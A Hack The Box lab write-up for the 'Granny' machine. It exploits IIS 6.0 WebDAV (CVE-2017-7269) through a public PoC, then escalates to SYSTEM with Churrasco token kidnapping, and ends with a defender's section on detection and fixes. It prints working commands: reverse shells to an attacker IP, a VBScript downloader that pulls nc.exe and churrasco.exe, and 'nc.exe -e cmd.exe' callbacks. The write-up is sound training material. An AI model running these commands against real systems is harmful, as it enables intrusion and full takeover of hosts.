Granny
Executive summary — Granny is Grandpa's sibling: an end-of-life IIS 6.0 with WebDAV enabled is vulnerable to CVE-2017-7269, a stack buffer overflow that gives remote code execution as
NETWORK SERVICEwith nothing more than a crafted HTTP request. From there, theSeImpersonatePrivilegetoken held by that service account is abused with Churrasco (MS09-012, token kidnapping) to becomeNT AUTHORITY\SYSTEM. We solve it with the manual PoC and by hand-carrying every escalation tool onto a machine that has no download utilities of its own. A WebDAV RCE → NETWORK SERVICE → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[80] Microsoft IIS 6.0 · WebDAV (PROPFIND/PUT/MOVE/DELETE enabled)
│ CVE-2017-7269 — WebDAV stack overflow (manual PoC, port 4444)
▼
[SHELL] NT AUTHORITY\NETWORK SERVICE
│ whoami /priv → SeImpersonatePrivilege: Enabled
│ build wget.vbs on the victim · serve tools over python http.server:8000
▼
[TRANSFER] nc.exe + churrasco.exe land on C:\temp
│ listener on 5555 FIRST · churrasco.exe -d "nc.exe -e cmd.exe ..."
│ MS09-012 Token Kidnapping (Churrasco abuses SeImpersonate)
▼
[SYSTEM] NT AUTHORITY\SYSTEM
1. Reconnaissance
We start with a version-detection scan against the target:
nmap -sV -vvv -Pn -oN granny.nmap <TARGET_IP>
80/tcp open http Microsoft IIS httpd 6.0
A single web port, and an IIS version that's been end-of-life for over a decade. That alone is worth investigating further, so we check exactly which HTTP methods the server accepts:
nmap --script=http-methods -p80 <TARGET_IP>
http-methods:
Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE
PROPFIND PROPPATCH SEARCH LOCK UNLOCK PUT
Why this matters:
PROPFIND,PUT,MOVEandDELETEare not part of a normal static web server — they're the fingerprint of WebDAV, an extension that lets clients create, move and delete files on the server over HTTP. An IIS 6.0 box with WebDAV switched on is a strong, specific signal: it's exactly the combination targeted by CVE-2017-7269.
2. Foothold — CVE-2017-7269 (IIS 6.0 WebDAV RCE)
CVE-2017-7269 is a stack buffer overflow in the WebDAV service of IIS 6.0 (httpext.dll), triggered by an oversized If: header inside a PROPFIND request. It was exploited in the wild since 2016 before Microsoft and the public disclosure caught up in 2017 — by then IIS 6.0 was already unsupported, so no patch was ever going to ship for most installs. We use the well-known public PoC for it:
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/exploit.py
A common trap: grabbing the exploit from the regular GitHub page (instead of the
raw.githubusercontent.comURL) downloads an HTML "404: Not Found" page, not the script. Always sanity-check what actually landed on disk:
head exploit.py
It has to show Python source, not an HTML error page. With the exploit confirmed, we open our listener first and then trigger the overflow:
nc -lvnp 4444
python2.7 exploit.py <TARGET_IP> 80 <ATTACKER_IP> 4444
Why
python2.7and notpython2: on a pyenv-managed Kali, the barepython2alias may not exist even though the interpreter itself is installed under its full version name. Worth checking withwhich python2.7before assuming the exploit is broken. Also, IIS 6.0's WebDAV service is genuinely fragile under this overflow — an occasionalHTTP/1.1 500 Internal Server Errorwith no callback is normal and usually just means resetting the box and firing again with the listener already up.
When it lands, the listener catches a shell:
Microsoft Windows [Version 5.2.3790]
c:\windows\system32\inetsrv>
whoami
nt authority\network service
Foothold confirmed. Before going further we check what that service account is actually allowed to do:
whoami /priv
SeImpersonatePrivilege Enabled
Why this is the whole game:
SeImpersonatePrivilegelets its holder impersonate the security token of another user context that connects to it — the exact primitive that token-kidnapping / "potato" style exploits abuse to jump straight to SYSTEM. Seeing it enabled on a low-privilege service account is the signal to go looking for MS09-012.
3. Staging the escalation tools
Windows Server 2003 ships with no PowerShell, no certutil, and no built-in way to pull a file over HTTP — so before we can run Churrasco we have to build our own downloader on the victim itself, out of a cscript-compatible VBScript:
mkdir C:\temp
cd C:\temp
echo Set xHttp = CreateObject("Microsoft.XMLHTTP") > wget.vbs
echo Set bStrm = CreateObject("Adodb.Stream") >> wget.vbs
echo xHttp.Open "GET", WScript.Arguments(0), False >> wget.vbs
echo xHttp.Send >> wget.vbs
echo With bStrm >> wget.vbs
echo .Type = 1 >> wget.vbs
echo .Open >> wget.vbs
echo .Write xHttp.responseBody >> wget.vbs
echo .SaveToFile WScript.Arguments(1), 2 >> wget.vbs
echo End With >> wget.vbs
On our own box, we fetch nc.exe and churrasco.exe and serve them over a plain HTTP server:
wget https://raw.githubusercontent.com/int0x33/nc.exe/master/nc.exe
wget https://raw.githubusercontent.com/Re4son/Churrasco/master/churrasco.exe
python3 -m http.server 8000
Then, from the victim's shell, we pull both binaries through the VBScript we just wrote:
cscript wget.vbs http://<ATTACKER_IP>:8000/nc.exe nc.exe
cscript wget.vbs http://<ATTACKER_IP>:8000/churrasco.exe churrasco.exe
Verify, don't assume: the HTTP server log on our side must show
200for both files (a404means they weren't in the folder we served from). On the victim,dirshould shownc.exeat roughly 38 KB andchurrasco.exeat roughly 31 KB — a 300–400 byte file is an HTML error page saved with an.exeextension, not a real binary, and Churrasco will silently fail to run.
4. Escalation to SYSTEM — Churrasco (MS09-012)
Churrasco automates the MS09-012 token kidnapping technique: it abuses the SeImpersonatePrivilege already confirmed on NETWORK SERVICE to grab and impersonate a SYSTEM-level token, then launches an arbitrary command inside that impersonated context. As with the initial exploit, the listener has to exist before we trigger it — launching Churrasco against a closed port is the single most common way this step silently "does nothing":
nc -lvnp 5555
churrasco.exe -d "C:\temp\nc.exe -e cmd.exe <ATTACKER_IP> 5555"
The second listener catches a new shell:
whoami
nt authority\system
SYSTEM confirmed — full compromise.
5. Flags
cd "C:\Documents and Settings\Lakis\Desktop"
type user.txt
cd "C:\Documents and Settings\Administrator\Desktop"
type root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Reconnaissance | IIS 6.0 WebDAV | Dangerous HTTP methods exposed (PROPFIND/PUT/MOVE/DELETE) | Confirms WebDAV attack surface |
| Foothold | IIS 6.0 WebDAV (httpext.dll) | CVE-2017-7269 — stack buffer overflow via oversized If: header | RCE as NETWORK SERVICE |
| PrivEsc | Windows Server 2003 service token | MS09-012 Token Kidnapping (SeImpersonatePrivilege) via Churrasco | SYSTEM |
Defender's view
This box is a museum piece: both flaws are fixed by retiring the platform. Until then, here is what a defender could have seen.
IIS 6.0 WebDAV overflow (CVE-2017-7269)
How it shows up in logs / telemetry
- The IIS W3C log records the
PROPFINDmethod incs-method, but not the oversizedIf:header that carries the payload; a network IDS or WAF inspecting headers is what catches it. - Because the overflow may crash the worker process, Application/System log entries about the IIS worker failing or recycling right after a
PROPFINDare a useful correlation. - Process telemetry:
w3wp.exe(running asNETWORK SERVICE) spawningcmd.exe.
How to fix it
- Windows Server 2003 and IIS 6.0 are end-of-life: migrate to a supported OS and IIS version.
- Until that happens, disable the WebDAV extension and remove dangerous methods (
PROPFIND,PUT,MOVE,DELETE), and keep the host off networks it does not need to serve.
Token kidnapping to SYSTEM (MS09-012, Churrasco)
How it shows up in logs / telemetry
- Process creation auditing (Security log, process creation events) shows an unknown binary dropped in a writable folder and executed by
NETWORK SERVICE, followed by acmd.exerunning asSYSTEM. - Any SYSTEM process whose ancestor is the web server worker is a high-confidence alert.
How to fix it
- Install the MS09-012 update, and more importantly move off Windows Server 2003.
- Run the web application pool under a dedicated low-privilege identity and assume
SeImpersonatePrivilegeon a service account is one step from SYSTEM (the same principle behind the whole Potato family).
Lessons learned
- End-of-life software is a standing RCE. IIS 6.0 with WebDAV enabled has a known, weaponized overflow (CVE-2017-7269); retiring unsupported services isn't optional hygiene, it's the difference between a scan and a shell.
- Enumerate HTTP methods, not just versions.
nmap --script=http-methodssurfacedPROPFIND/PUTbefore any exploit ran — that's the tell that should send you looking for WebDAV-specific CVEs. - Always verify what you downloaded, on both ends. GitHub 404 pages, mismatched file sizes (a real
nc.exeis ~38 KB, not 300 bytes), and HTTP server logs are cheap, fast ways to catch a broken transfer before you waste time debugging a tool that never actually arrived. - Open the listener before you trigger anything that calls back. Both the initial exploit and Churrasco fail silently — not loudly — if nothing is listening on the target port.
SeImpersonatePrivilegeon a service account is a SYSTEM ticket waiting to be cashed (Churrasco, and later the entire "Potato" family). Service accounts should run with the least privilege they actually need.